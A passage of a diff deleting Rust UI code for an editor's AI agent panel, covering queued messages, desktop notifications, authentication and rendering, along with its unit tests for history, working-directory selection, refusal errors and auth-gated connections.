-                ),
-            )
-            .into_any_element()
-    }
-
-    pub(crate) fn as_native_connection(
-        &self,
-        cx: &App,
-    ) -> Option<Rc<agent::NativeAgentConnection>> {
-        let acp_thread = self.active_thread()?.read(cx).thread.read(cx);
-        acp_thread.connection().clone().downcast()
-    }
-
-    pub(crate) fn as_native_thread(&self, cx: &App) -> Option<Entity<agent::Thread>> {
-        let acp_thread = self.active_thread()?.read(cx).thread.read(cx);
-        self.as_native_connection(cx)?
-            .thread(acp_thread.session_id(), cx)
-    }
-
-    fn queued_messages_len(&self, cx: &App) -> usize {
-        self.active_thread()
-            .map(|thread| thread.read(cx).local_queued_messages.len())
-            .unwrap_or_default()
-    }
-
-    fn update_queued_message(
-        &mut self,
-        index: usize,
-        content: Vec<acp::ContentBlock>,
-        tracked_buffers: Vec<Entity<Buffer>>,
-        cx: &mut Context<Self>,
-    ) -> bool {
-        match self.active_thread() {
-            Some(thread) => thread.update(cx, |thread, _cx| {
-                if index < thread.local_queued_messages.len() {
-                    thread.local_queued_messages[index] = QueuedMessage {
-                        content,
-                        tracked_buffers,
-                    };
-                    true
-                } else {
-                    false
-                }
-            }),
-            None => false,
-        }
-    }
-
-    fn queued_message_contents(&self, cx: &App) -> Vec<Vec<acp::ContentBlock>> {
-        match self.active_thread() {
-            None => Vec::new(),
-            Some(thread) => thread
-                .read(cx)
-                .local_queued_messages
-                .iter()
-                .map(|q| q.content.clone())
-                .collect(),
-        }
-    }
-
-    fn save_queued_message_at_index(&mut self, index: usize, cx: &mut Context<Self>) {
-        let editor = match self.active_thread() {
-            Some(thread) => thread.read(cx).queued_message_editors.get(index).cloned(),
-            None => None,
-        };
-        let Some(editor) = editor else {
-            return;
-        };
-
-        let contents_task = editor.update(cx, |editor, cx| editor.contents(false, cx));
-
-        cx.spawn(async move |this, cx| {
-            let Ok((content, tracked_buffers)) = contents_task.await else {
-                return Ok::<(), anyhow::Error>(());
-            };
-
-            this.update(cx, |this, cx| {
-                this.update_queued_message(index, content, tracked_buffers, cx);
-                cx.notify();
-            })?;
-
-            Ok(())
-        })
-        .detach_and_log_err(cx);
-    }
-
-    fn sync_queued_message_editors(&mut self, window: &mut Window, cx: &mut Context<Self>) {
-        let needed_count = self.queued_messages_len(cx);
-        let queued_messages = self.queued_message_contents(cx);
-
-        let agent_name = self.agent.name();
-        let workspace = self.workspace.clone();
-        let project = self.project.downgrade();
-        let history = self.history.downgrade();
-
-        let Some(thread) = self.active_thread() else {
-            return;
-        };
-        let prompt_capabilities = thread.read(cx).prompt_capabilities.clone();
-        let available_commands = thread.read(cx).available_commands.clone();
-
-        let current_count = thread.read(cx).queued_message_editors.len();
-        let last_synced = thread.read(cx).last_synced_queue_length;
-
-        if current_count == needed_count && needed_count == last_synced {
-            return;
-        }
-
-        if current_count > needed_count {
-            thread.update(cx, |thread, _cx| {
-                thread.queued_message_editors.truncate(needed_count);
-                thread
-                    .queued_message_editor_subscriptions
-                    .truncate(needed_count);
-            });
-
-            let editors = thread.read(cx).queued_message_editors.clone();
-            for (index, editor) in editors.into_iter().enumerate() {
-                if let Some(content) = queued_messages.get(index) {
-                    editor.update(cx, |editor, cx| {
-                        editor.set_message(content.clone(), window, cx);
-                    });
-                }
-            }
-        }
-
-        while thread.read(cx).queued_message_editors.len() < needed_count {
-            let index = thread.read(cx).queued_message_editors.len();
-            let content = queued_messages.get(index).cloned().unwrap_or_default();
-
-            let editor = cx.new(|cx| {
-                let mut editor = MessageEditor::new(
-                    workspace.clone(),
-                    project.clone(),
-                    None,
-                    history.clone(),
-                    None,
-                    prompt_capabilities.clone(),
-                    available_commands.clone(),
-                    agent_name.clone(),
-                    "",
-                    EditorMode::AutoHeight {
-                        min_lines: 1,
-                        max_lines: Some(10),
-                    },
-                    window,
-                    cx,
-                );
-                editor.set_message(content, window, cx);
-                editor
-            });
-
-            let subscription = cx.subscribe_in(
-                &editor,
-                window,
-                move |this, _editor, event, window, cx| match event {
-                    MessageEditorEvent::LostFocus => {
-                        this.save_queued_message_at_index(index, cx);
-                    }
-                    MessageEditorEvent::Cancel => {
-                        window.focus(&this.focus_handle(cx), cx);
-                    }
-                    MessageEditorEvent::Send => {
-                        window.focus(&this.focus_handle(cx), cx);
-                    }
-                    MessageEditorEvent::SendImmediately => {
-                        this.send_queued_message_at_index(index, true, window, cx);
-                    }
-                    _ => {}
-                },
-            );
-
-            thread.update(cx, |thread, _cx| {
-                thread.queued_message_editors.push(editor);
-                thread
-                    .queued_message_editor_subscriptions
-                    .push(subscription);
-            });
-        }
-
-        if let Some(active) = self.active_thread() {
-            active.update(cx, |active, _cx| {
-                active.last_synced_queue_length = needed_count;
-            });
-        }
-    }
-
-    fn render_markdown(&self, markdown: Entity<Markdown>, style: MarkdownStyle) -> MarkdownElement {
-        let workspace = self.workspace.clone();
-        MarkdownElement::new(markdown, style).on_url_click(move |text, window, cx| {
-            crate::acp::thread_view::active_thread::open_link(text, &workspace, window, cx);
-        })
-    }
-
-    fn notify_with_sound(
-        &mut self,
-        caption: impl Into<SharedString>,
-        icon: IconName,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) {
-        self.play_notification_sound(window, cx);
-        self.show_notification(caption, icon, window, cx);
-    }
-
-    fn agent_panel_visible(&self, multi_workspace: &Entity<MultiWorkspace>, cx: &App) -> bool {
-        let Some(workspace) = self.workspace.upgrade() else {
-            return false;
-        };
-
-        multi_workspace.read(cx).workspace() == &workspace && AgentPanel::is_visible(&workspace, cx)
-    }
-
-    fn agent_status_visible(&self, window: &Window, cx: &App) -> bool {
-        if !window.is_window_active() {
-            return false;
-        }
-
-        if let Some(multi_workspace) = window.root::<MultiWorkspace>().flatten() {
-            multi_workspace.read(cx).is_sidebar_open()
-                || self.agent_panel_visible(&multi_workspace, cx)
-        } else {
-            self.workspace
-                .upgrade()
-                .is_some_and(|workspace| AgentPanel::is_visible(&workspace, cx))
-        }
-    }
-
-    fn play_notification_sound(&self, window: &Window, cx: &mut App) {
-        let settings = AgentSettings::get_global(cx);
-        let visible = window.is_window_active()
-            && if let Some(mw) = window.root::<MultiWorkspace>().flatten() {
-                self.agent_panel_visible(&mw, cx)
-            } else {
-                self.workspace
-                    .upgrade()
-                    .is_some_and(|workspace| AgentPanel::is_visible(&workspace, cx))
-            };
-        if settings.play_sound_when_agent_done && !visible {
-            Audio::play_sound(Sound::AgentDone, cx);
-        }
-    }
-
-    fn show_notification(
-        &mut self,
-        caption: impl Into<SharedString>,
-        icon: IconName,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) {
-        if !self.notifications.is_empty() {
-            return;
-        }
-
-        let settings = AgentSettings::get_global(cx);
-
-        let should_notify = !self.agent_status_visible(window, cx);
-
-        if !should_notify {
-            return;
-        }
-
-        // TODO: Change this once we have title summarization for external agents.
-        let title = self.agent.name();
-
-        match settings.notify_when_agent_waiting {
-            NotifyWhenAgentWaiting::PrimaryScreen => {
-                if let Some(primary) = cx.primary_display() {
-                    self.pop_up(icon, caption.into(), title, window, primary, cx);
-                }
-            }
-            NotifyWhenAgentWaiting::AllScreens => {
-                let caption = caption.into();
-                for screen in cx.displays() {
-                    self.pop_up(icon, caption.clone(), title.clone(), window, screen, cx);
-                }
-            }
-            NotifyWhenAgentWaiting::Never => {
-                // Don't show anything
-            }
-        }
-    }
-
-    fn pop_up(
-        &mut self,
-        icon: IconName,
-        caption: SharedString,
-        title: SharedString,
-        window: &mut Window,
-        screen: Rc<dyn PlatformDisplay>,
-        cx: &mut Context<Self>,
-    ) {
-        let options = AgentNotification::window_options(screen, cx);
-
-        let project_name = self.workspace.upgrade().and_then(|workspace| {
-            workspace
-                .read(cx)
-                .project()
-                .read(cx)
-                .visible_worktrees(cx)
-                .next()
-                .map(|worktree| worktree.read(cx).root_name_str().to_string())
-        });
-
-        if let Some(screen_window) = cx
-            .open_window(options, |_window, cx| {
-                cx.new(|_cx| {
-                    AgentNotification::new(title.clone(), caption.clone(), icon, project_name)
-                })
-            })
-            .log_err()
-            && let Some(pop_up) = screen_window.entity(cx).log_err()
-        {
-            self.notification_subscriptions
-                .entry(screen_window)
-                .or_insert_with(Vec::new)
-                .push(cx.subscribe_in(&pop_up, window, {
-                    |this, _, event, window, cx| match event {
-                        AgentNotificationEvent::Accepted => {
-                            let Some(handle) = window.window_handle().downcast::<MultiWorkspace>()
-                            else {
-                                log::error!("root view should be a MultiWorkspace");
-                                return;
-                            };
-                            cx.activate(true);
-
-                            let workspace_handle = this.workspace.clone();
-
-                            cx.defer(move |cx| {
-                                handle
-                                    .update(cx, |multi_workspace, window, cx| {
-                                        window.activate_window();
-                                        if let Some(workspace) = workspace_handle.upgrade() {
-                                            multi_workspace.activate(workspace.clone(), cx);
-                                            workspace.update(cx, |workspace, cx| {
-                                                workspace.focus_panel::<AgentPanel>(window, cx);
-                                            });
-                                        }
-                                    })
-                                    .log_err();
-                            });
-
-                            this.dismiss_notifications(cx);
-                        }
-                        AgentNotificationEvent::Dismissed => {
-                            this.dismiss_notifications(cx);
-                        }
-                    }
-                }));
-
-            self.notifications.push(screen_window);
-
-            // If the user manually refocuses the original window, dismiss the popup.
-            self.notification_subscriptions
-                .entry(screen_window)
-                .or_insert_with(Vec::new)
-                .push({
-                    let pop_up_weak = pop_up.downgrade();
-
-                    cx.observe_window_activation(window, move |this, window, cx| {
-                        if this.agent_status_visible(window, cx)
-                            && let Some(pop_up) = pop_up_weak.upgrade()
-                        {
-                            pop_up.update(cx, |notification, cx| {
-                                notification.dismiss(cx);
-                            });
-                        }
-                    })
-                });
-        }
-    }
-
-    fn dismiss_notifications(&mut self, cx: &mut Context<Self>) {
-        for window in self.notifications.drain(..) {
-            window
-                .update(cx, |_, window, _| {
-                    window.remove_window();
-                })
-                .ok();
-
-            self.notification_subscriptions.remove(&window);
-        }
-    }
-
-    fn agent_ui_font_size_changed(&mut self, _window: &mut Window, cx: &mut Context<Self>) {
-        if let Some(entry_view_state) = self
-            .active_thread()
-            .map(|active| active.read(cx).entry_view_state.clone())
-        {
-            entry_view_state.update(cx, |entry_view_state, cx| {
-                entry_view_state.agent_ui_font_size_changed(cx);
-            });
-        }
-    }
-
-    pub(crate) fn insert_dragged_files(
-        &self,
-        paths: Vec<project::ProjectPath>,
-        added_worktrees: Vec<Entity<project::Worktree>>,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) {
-        if let Some(active_thread) = self.active_thread() {
-            active_thread.update(cx, |thread, cx| {
-                thread.message_editor.update(cx, |editor, cx| {
-                    editor.insert_dragged_files(paths, added_worktrees, window, cx);
-                    editor.focus_handle(cx).focus(window, cx);
-                })
-            });
-        }
-    }
-
-    /// Inserts the selected text into the message editor or the message being
-    /// edited, if any.
-    pub(crate) fn insert_selections(&self, window: &mut Window, cx: &mut Context<Self>) {
-        if let Some(active_thread) = self.active_thread() {
-            active_thread.update(cx, |thread, cx| {
-                thread.active_editor(cx).update(cx, |editor, cx| {
-                    editor.insert_selections(window, cx);
-                })
-            });
-        }
-    }
-
-    /// Inserts terminal text as a crease into the message editor.
-    pub(crate) fn insert_terminal_text(
-        &self,
-        text: String,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) {
-        if let Some(active_thread) = self.active_thread() {
-            active_thread.update(cx, |thread, cx| {
-                thread.message_editor.update(cx, |editor, cx| {
-                    editor.insert_terminal_crease(text, window, cx);
-                })
-            });
-        }
-    }
-
-    fn current_model_name(&self, cx: &App) -> SharedString {
-        // For native agent (Zed Agent), use the specific model name (e.g., "Claude 3.5 Sonnet")
-        // For ACP agents, use the agent name (e.g., "Claude Agent", "Gemini CLI")
-        // This provides better clarity about what refused the request
-        if self.as_native_connection(cx).is_some() {
-            self.active_thread()
-                .and_then(|active| active.read(cx).model_selector.clone())
-                .and_then(|selector| selector.read(cx).active_model(cx))
-                .map(|model| model.name.clone())
-                .unwrap_or_else(|| SharedString::from("The model"))
-        } else {
-            // ACP agent - use the agent name (e.g., "Claude Agent", "Gemini CLI")
-            self.agent.name()
-        }
-    }
-
-    fn create_copy_button(&self, message: impl Into<String>) -> impl IntoElement {
-        let message = message.into();
-
-        CopyButton::new("copy-error-message", message).tooltip_label("Copy Error Message")
-    }
-
-    pub(crate) fn reauthenticate(&mut self, window: &mut Window, cx: &mut Context<Self>) {
-        let agent_name = self.agent.name();
-        if let Some(active) = self.active_thread() {
-            active.update(cx, |active, cx| active.clear_thread_error(cx));
-        }
-        let this = cx.weak_entity();
-        let Some(connection) = self.as_connected().map(|c| c.connection.clone()) else {
-            debug_panic!("This should not be possible");
-            return;
-        };
-        window.defer(cx, |window, cx| {
-            Self::handle_auth_required(
-                this,
-                AuthRequired::new(),
-                agent_name,
-                connection,
-                window,
-                cx,
-            );
-        })
-    }
-
-    pub fn delete_history_entry(&mut self, entry: AgentSessionInfo, cx: &mut Context<Self>) {
-        let task = self.history.update(cx, |history, cx| {
-            history.delete_session(&entry.session_id, cx)
-        });
-        task.detach_and_log_err(cx);
-    }
-}
-
-fn loading_contents_spinner(size: IconSize) -> AnyElement {
-    Icon::new(IconName::LoadCircle)
-        .size(size)
-        .color(Color::Accent)
-        .with_rotate_animation(3)
-        .into_any_element()
-}
-
-fn placeholder_text(agent_name: &str, has_commands: bool) -> String {
-    if agent_name == "Zed Agent" {
-        format!("Message the {} — @ to include context", agent_name)
-    } else if has_commands {
-        format!(
-            "Message {} — @ to include context, / for commands",
-            agent_name
-        )
-    } else {
-        format!("Message {} — @ to include context", agent_name)
-    }
-}
-
-impl Focusable for AcpServerView {
-    fn focus_handle(&self, cx: &App) -> FocusHandle {
-        match self.active_thread() {
-            Some(thread) => thread.read(cx).focus_handle(cx),
-            None => self.focus_handle.clone(),
-        }
-    }
-}
-
-#[cfg(any(test, feature = "test-support"))]
-impl AcpServerView {
-    /// Expands a tool call so its content is visible.
-    /// This is primarily useful for visual testing.
-    pub fn expand_tool_call(&mut self, tool_call_id: acp::ToolCallId, cx: &mut Context<Self>) {
-        if let Some(active) = self.active_thread() {
-            active.update(cx, |active, _cx| {
-                active.expanded_tool_calls.insert(tool_call_id);
-            });
-            cx.notify();
-        }
-    }
-}
-
-impl Render for AcpServerView {
-    fn render(&mut self, window: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
-        self.sync_queued_message_editors(window, cx);
-
-        v_flex()
-            .track_focus(&self.focus_handle)
-            .size_full()
-            .bg(cx.theme().colors().panel_background)
-            .child(match &self.server_state {
-                ServerState::Loading { .. } => v_flex()
-                    .flex_1()
-                    // .child(self.render_recent_history(cx))
-                    .into_any(),
-                ServerState::LoadError(e) => v_flex()
-                    .flex_1()
-                    .size_full()
-                    .items_center()
-                    .justify_end()
-                    .child(self.render_load_error(e, window, cx))
-                    .into_any(),
-                ServerState::Connected(ConnectedServerState {
-                    connection,
-                    auth_state:
-                        AuthState::Unauthenticated {
-                            description,
-                            configuration_view,
-                            pending_auth_method,
-                            _subscription,
-                        },
-                    ..
-                }) => v_flex()
-                    .flex_1()
-                    .size_full()
-                    .justify_end()
-                    .child(self.render_auth_required_state(
-                        connection,
-                        description.as_ref(),
-                        configuration_view.as_ref(),
-                        pending_auth_method.as_ref(),
-                        window,
-                        cx,
-                    ))
-                    .into_any_element(),
-                ServerState::Connected(connected) => {
-                    if let Some(view) = connected.active_view() {
-                        view.clone().into_any_element()
-                    } else {
-                        debug_panic!("This state should never be reached");
-                        div().into_any_element()
-                    }
-                }
-            })
-    }
-}
-
-fn plan_label_markdown_style(
-    status: &acp::PlanEntryStatus,
-    window: &Window,
-    cx: &App,
-) -> MarkdownStyle {
-    let default_md_style = MarkdownStyle::themed(MarkdownFont::Agent, window, cx);
-
-    MarkdownStyle {
-        base_text_style: TextStyle {
-            color: cx.theme().colors().text_muted,
-            strikethrough: if matches!(status, acp::PlanEntryStatus::Completed) {
-                Some(gpui::StrikethroughStyle {
-                    thickness: px(1.),
-                    color: Some(cx.theme().colors().text_muted.opacity(0.8)),
-                })
-            } else {
-                None
-            },
-            ..default_md_style.base_text_style
-        },
-        ..default_md_style
-    }
-}
-
-#[cfg(test)]
-pub(crate) mod tests {
-    use acp_thread::{
-        AgentSessionList, AgentSessionListRequest, AgentSessionListResponse, StubAgentConnection,
-    };
-    use action_log::ActionLog;
-    use agent::{AgentTool, EditFileTool, FetchTool, TerminalTool, ToolPermissionContext};
-    use agent_client_protocol::SessionId;
-    use assistant_text_thread::TextThreadStore;
-    use editor::MultiBufferOffset;
-    use fs::FakeFs;
-    use gpui::{EventEmitter, TestAppContext, VisualTestContext};
-    use parking_lot::Mutex;
-    use project::Project;
-    use serde_json::json;
-    use settings::SettingsStore;
-    use std::any::Any;
-    use std::path::{Path, PathBuf};
-    use std::rc::Rc;
-    use std::sync::Arc;
-    use workspace::{Item, MultiWorkspace};
-
-    use crate::agent_panel;
-
-    use super::*;
-
-    #[gpui::test]
-    async fn test_drop(cx: &mut TestAppContext) {
-        init_test(cx);
-
-        let (thread_view, _cx) = setup_thread_view(StubAgentServer::default_response(), cx).await;
-        let weak_view = thread_view.downgrade();
-        drop(thread_view);
-        assert!(!weak_view.is_upgradable());
-    }
-
-    #[gpui::test]
-    async fn test_notification_for_stop_event(cx: &mut TestAppContext) {
-        init_test(cx);
-
-        let (thread_view, cx) = setup_thread_view(StubAgentServer::default_response(), cx).await;
-
-        let message_editor = message_editor(&thread_view, cx);
-        message_editor.update_in(cx, |editor, window, cx| {
-            editor.set_text("Hello", window, cx);
-        });
-
-        cx.deactivate_window();
-
-        active_thread(&thread_view, cx).update_in(cx, |view, window, cx| view.send(window, cx));
-
-        cx.run_until_parked();
-
-        assert!(
-            cx.windows()
-                .iter()
-                .any(|window| window.downcast::<AgentNotification>().is_some())
-        );
-    }
-
-    #[gpui::test]
-    async fn test_notification_for_error(cx: &mut TestAppContext) {
-        init_test(cx);
-
-        let (thread_view, cx) =
-            setup_thread_view(StubAgentServer::new(SaboteurAgentConnection), cx).await;
-
-        let message_editor = message_editor(&thread_view, cx);
-        message_editor.update_in(cx, |editor, window, cx| {
-            editor.set_text("Hello", window, cx);
-        });
-
-        cx.deactivate_window();
-
-        active_thread(&thread_view, cx).update_in(cx, |view, window, cx| view.send(window, cx));
-
-        cx.run_until_parked();
-
-        assert!(
-            cx.windows()
-                .iter()
-                .any(|window| window.downcast::<AgentNotification>().is_some())
-        );
-    }
-
-    #[gpui::test]
-    async fn test_recent_history_refreshes_when_history_cache_updated(cx: &mut TestAppContext) {
-        init_test(cx);
-
-        let session_a = AgentSessionInfo::new(SessionId::new("session-a"));
-        let session_b = AgentSessionInfo::new(SessionId::new("session-b"));
-
-        let fs = FakeFs::new(cx.executor());
-        let project = Project::test(fs, [], cx).await;
-        let (multi_workspace, cx) =
-            cx.add_window_view(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
-        let workspace = multi_workspace.read_with(cx, |mw, _| mw.workspace().clone());
-
-        let thread_store = cx.update(|_window, cx| cx.new(|cx| ThreadStore::new(cx)));
-        // Create history without an initial session list - it will be set after connection
-        let history = cx.update(|window, cx| cx.new(|cx| AcpThreadHistory::new(None, window, cx)));
-
-        let thread_view = cx.update(|window, cx| {
-            cx.new(|cx| {
-                AcpServerView::new(
-                    Rc::new(StubAgentServer::default_response()),
-                    None,
-                    None,
-                    workspace.downgrade(),
-                    project,
-                    Some(thread_store),
-                    None,
-                    history.clone(),
-                    window,
-                    cx,
-                )
-            })
-        });
-
-        // Wait for connection to establish
-        cx.run_until_parked();
-
-        // Initially empty because StubAgentConnection.session_list() returns None
-        active_thread(&thread_view, cx).read_with(cx, |view, _cx| {
-            assert_eq!(view.recent_history_entries.len(), 0);
-        });
-
-        // Now set the session list - this simulates external agents providing their history
-        let list_a: Rc<dyn AgentSessionList> =
-            Rc::new(StubSessionList::new(vec![session_a.clone()]));
-        history.update(cx, |history, cx| {
-            history.set_session_list(Some(list_a), cx);
-        });
-        cx.run_until_parked();
-
-        active_thread(&thread_view, cx).read_with(cx, |view, _cx| {
-            assert_eq!(view.recent_history_entries.len(), 1);
-            assert_eq!(
-                view.recent_history_entries[0].session_id,
-                session_a.session_id
-            );
-        });
-
-        // Update to a different session list
-        let list_b: Rc<dyn AgentSessionList> =
-            Rc::new(StubSessionList::new(vec![session_b.clone()]));
-        history.update(cx, |history, cx| {
-            history.set_session_list(Some(list_b), cx);
-        });
-        cx.run_until_parked();
-
-        active_thread(&thread_view, cx).read_with(cx, |view, _cx| {
-            assert_eq!(view.recent_history_entries.len(), 1);
-            assert_eq!(
-                view.recent_history_entries[0].session_id,
-                session_b.session_id
-            );
-        });
-    }
-
-    #[gpui::test]
-    async fn test_resume_without_history_adds_notice(cx: &mut TestAppContext) {
-        init_test(cx);
-
-        let session = AgentSessionInfo::new(SessionId::new("resume-session"));
-        let fs = FakeFs::new(cx.executor());
-        let project = Project::test(fs, [], cx).await;
-        let (multi_workspace, cx) =
-            cx.add_window_view(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
-        let workspace = multi_workspace.read_with(cx, |mw, _| mw.workspace().clone());
-
-        let thread_store = cx.update(|_window, cx| cx.new(|cx| ThreadStore::new(cx)));
-        let history = cx.update(|window, cx| cx.new(|cx| AcpThreadHistory::new(None, window, cx)));
-
-        let thread_view = cx.update(|window, cx| {
-            cx.new(|cx| {
-                AcpServerView::new(
-                    Rc::new(StubAgentServer::new(ResumeOnlyAgentConnection)),
-                    Some(session),
-                    None,
-                    workspace.downgrade(),
-                    project,
-                    Some(thread_store),
-                    None,
-                    history,
-                    window,
-                    cx,
-                )
-            })
-        });
-
-        cx.run_until_parked();
-
-        thread_view.read_with(cx, |view, cx| {
-            let state = view.active_thread().unwrap();
-            assert!(state.read(cx).resumed_without_history);
-            assert_eq!(state.read(cx).list_state.item_count(), 0);
-        });
-    }
-
-    #[gpui::test]
-    async fn test_resume_thread_uses_session_cwd_when_inside_project(cx: &mut TestAppContext) {
-        init_test(cx);
-
-        let fs = FakeFs::new(cx.executor());
-        fs.insert_tree(
-            "/project",
-            json!({
-                "subdir": {
-                    "file.txt": "hello"
-                }
-            }),
-        )
-        .await;
-        let project = Project::test(fs, [Path::new("/project")], cx).await;
-        let (multi_workspace, cx) =
-            cx.add_window_view(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
-        let workspace = multi_workspace.read_with(cx, |mw, _| mw.workspace().clone());
-
-        let connection = CwdCapturingConnection::new();
-        let captured_cwd = connection.captured_cwd.clone();
-
-        let mut session = AgentSessionInfo::new(SessionId::new("session-1"));
-        session.cwd = Some(PathBuf::from("/project/subdir"));
-
-        let thread_store = cx.update(|_window, cx| cx.new(|cx| ThreadStore::new(cx)));
-        let history = cx.update(|window, cx| cx.new(|cx| AcpThreadHistory::new(None, window, cx)));
-
-        let _thread_view = cx.update(|window, cx| {
-            cx.new(|cx| {
-                AcpServerView::new(
-                    Rc::new(StubAgentServer::new(connection)),
-                    Some(session),
-                    None,
-                    workspace.downgrade(),
-                    project,
-                    Some(thread_store),
-                    None,
-                    history,
-                    window,
-                    cx,
-                )
-            })
-        });
-
-        cx.run_until_parked();
-
-        assert_eq!(
-            captured_cwd.lock().as_deref(),
-            Some(Path::new("/project/subdir")),
-            "Should use session cwd when it's inside the project"
-        );
-    }
-
-    #[gpui::test]
-    async fn test_resume_thread_uses_fallback_cwd_when_outside_project(cx: &mut TestAppContext) {
-        init_test(cx);
-
-        let fs = FakeFs::new(cx.executor());
-        fs.insert_tree(
-            "/project",
-            json!({
-                "file.txt": "hello"
-            }),
-        )
-        .await;
-        let project = Project::test(fs, [Path::new("/project")], cx).await;
-        let (multi_workspace, cx) =
-            cx.add_window_view(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
-        let workspace = multi_workspace.read_with(cx, |mw, _| mw.workspace().clone());
-
-        let connection = CwdCapturingConnection::new();
-        let captured_cwd = connection.captured_cwd.clone();
-
-        let mut session = AgentSessionInfo::new(SessionId::new("session-1"));
-        session.cwd = Some(PathBuf::from("/some/other/path"));
-
-        let thread_store = cx.update(|_window, cx| cx.new(|cx| ThreadStore::new(cx)));
-        let history = cx.update(|window, cx| cx.new(|cx| AcpThreadHistory::new(None, window, cx)));
-
-        let _thread_view = cx.update(|window, cx| {
-            cx.new(|cx| {
-                AcpServerView::new(
-                    Rc::new(StubAgentServer::new(connection)),
-                    Some(session),
-                    None,
-                    workspace.downgrade(),
-                    project,
-                    Some(thread_store),
-                    None,
-                    history,
-                    window,
-                    cx,
-                )
-            })
-        });
-
-        cx.run_until_parked();
-
-        assert_eq!(
-            captured_cwd.lock().as_deref(),
-            Some(Path::new("/project")),
-            "Should use fallback project cwd when session cwd is outside the project"
-        );
-    }
-
-    #[gpui::test]
-    async fn test_resume_thread_rejects_unnormalized_cwd_outside_project(cx: &mut TestAppContext) {
-        init_test(cx);
-
-        let fs = FakeFs::new(cx.executor());
-        fs.insert_tree(
-            "/project",
-            json!({
-                "file.txt": "hello"
-            }),
-        )
-        .await;
-        let project = Project::test(fs, [Path::new("/project")], cx).await;
-        let (multi_workspace, cx) =
-            cx.add_window_view(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
-        let workspace = multi_workspace.read_with(cx, |mw, _| mw.workspace().clone());
-
-        let connection = CwdCapturingConnection::new();
-        let captured_cwd = connection.captured_cwd.clone();
-
-        let mut session = AgentSessionInfo::new(SessionId::new("session-1"));
-        session.cwd = Some(PathBuf::from("/project/../outside"));
-
-        let thread_store = cx.update(|_window, cx| cx.new(|cx| ThreadStore::new(cx)));
-        let history = cx.update(|window, cx| cx.new(|cx| AcpThreadHistory::new(None, window, cx)));
-
-        let _thread_view = cx.update(|window, cx| {
-            cx.new(|cx| {
-                AcpServerView::new(
-                    Rc::new(StubAgentServer::new(connection)),
-                    Some(session),
-                    None,
-                    workspace.downgrade(),
-                    project,
-                    Some(thread_store),
-                    None,
-                    history,
-                    window,
-                    cx,
-                )
-            })
-        });
-
-        cx.run_until_parked();
-
-        assert_eq!(
-            captured_cwd.lock().as_deref(),
-            Some(Path::new("/project")),
-            "Should reject unnormalized cwd that resolves outside the project and use fallback cwd"
-        );
-    }
-
-    #[gpui::test]
-    async fn test_refusal_handling(cx: &mut TestAppContext) {
-        init_test(cx);
-
-        let (thread_view, cx) =
-            setup_thread_view(StubAgentServer::new(RefusalAgentConnection), cx).await;
-
-        let message_editor = message_editor(&thread_view, cx);
-        message_editor.update_in(cx, |editor, window, cx| {
-            editor.set_text("Do something harmful", window, cx);
-        });
-
-        active_thread(&thread_view, cx).update_in(cx, |view, window, cx| view.send(window, cx));
-
-        cx.run_until_parked();
-
-        // Check that the refusal error is set
-        thread_view.read_with(cx, |thread_view, cx| {
-            let state = thread_view.active_thread().unwrap();
-            assert!(
-                matches!(state.read(cx).thread_error, Some(ThreadError::Refusal)),
-                "Expected refusal error to be set"
-            );
-        });
-    }
-
-    #[gpui::test]
-    async fn test_connect_failure_transitions_to_load_error(cx: &mut TestAppContext) {
-        init_test(cx);
-
-        let (thread_view, cx) = setup_thread_view(FailingAgentServer, cx).await;
-
-        thread_view.read_with(cx, |view, cx| {
-            let title = view.title(cx);
-            assert_eq!(
-                title.as_ref(),
-                "Error Loading Codex CLI",
-                "Tab title should show the agent name with an error prefix"
-            );
-            match &view.server_state {
-                ServerState::LoadError(LoadError::Other(msg)) => {
-                    assert!(
-                        msg.contains("Invalid gzip header"),
-                        "Error callout should contain the underlying extraction error, got: {msg}"
-                    );
-                }
-                other => panic!(
-                    "Expected LoadError::Other, got: {}",
-                    match other {
-                        ServerState::Loading(_) => "Loading (stuck!)",
-                        ServerState::LoadError(_) => "LoadError (wrong variant)",
-                        ServerState::Connected(_) => "Connected",
-                    }
-                ),
-            }
-        });
-    }
-
-    #[gpui::test]
-    async fn test_auth_required_on_initial_connect(cx: &mut TestAppContext) {
-        init_test(cx);
-
-        let connection = AuthGatedAgentConnection::new();
-        let (thread_view, cx) = setup_thread_view(StubAgentServer::new(connection), cx).await;
-
-        // When new_session returns AuthRequired, the server should transition
-        // to Connected + Unauthenticated rather than getting stuck in Loading.
-        thread_view.read_with(cx, |view, _cx| {
-            let connected = view
-                .as_connected()
-                .expect("Should be in Connected state even though auth is required");
-            assert!(
-                !connected.auth_state.is_ok(),
-                "Auth state should be Unauthenticated"
-            );
-            assert!(
-                connected.active_id.is_none(),
-                "There should be no active thread since no session was created"
-            );
-            assert!(
-                connected.threads.is_empty(),
-                "There should be no threads since no session was created"
-            );
-        });
-
-        thread_view.read_with(cx, |view, _cx| {
-            assert!(
-                view.active_thread().is_none(),
-                "active_thread() should be None when unauthenticated without a session"
-            );
-        });
-
-        // Authenticate using the real authenticate flow on AcpServerView.
-        // This calls connection.authenticate(), which flips the internal flag,
-        // then on success triggers reset() -> new_session() which now succeeds.
-        thread_view.update_in(cx, |view, window, cx| {
-            view.authenticate(
-                acp::AuthMethodId::new(AuthGatedAgentConnection::AUTH_METHOD_ID),
-                window,
-                cx,
-            );
-        });
-        cx.run_until_parked();
-
-        // After auth, the server should have an active thread in the Ok state.
-        thread_view.read_with(cx, |view, cx| {
-            let connected = view
-                .as_connected()
-                .expect("Should still be in Connected state after auth");
-            assert!(connected.auth_state.is_ok(), "Auth state should be Ok");
-            assert!(
-                connected.active_id.is_some(),
-                "There should be an active thread after successful auth"
-            );
-            assert_eq!(
-                connected.threads.len(),
-                1,
-                "There should be exactly one thread"
-            );
-
-            let active = view
-                .active_thread()
-                .expect("active_thread() should return the new thread");
-            assert!(
-                active.read(cx).thread_error.is_none(),
-                "The new thread should have no errors"
-            );
-        });
-    }
-
-    #[gpui::test]
-    async fn test_notification_for_tool_authorization(cx: &mut TestAppContext) {
-        init_test(cx);
-
-        let tool_call_id = acp::ToolCallId::new("1");
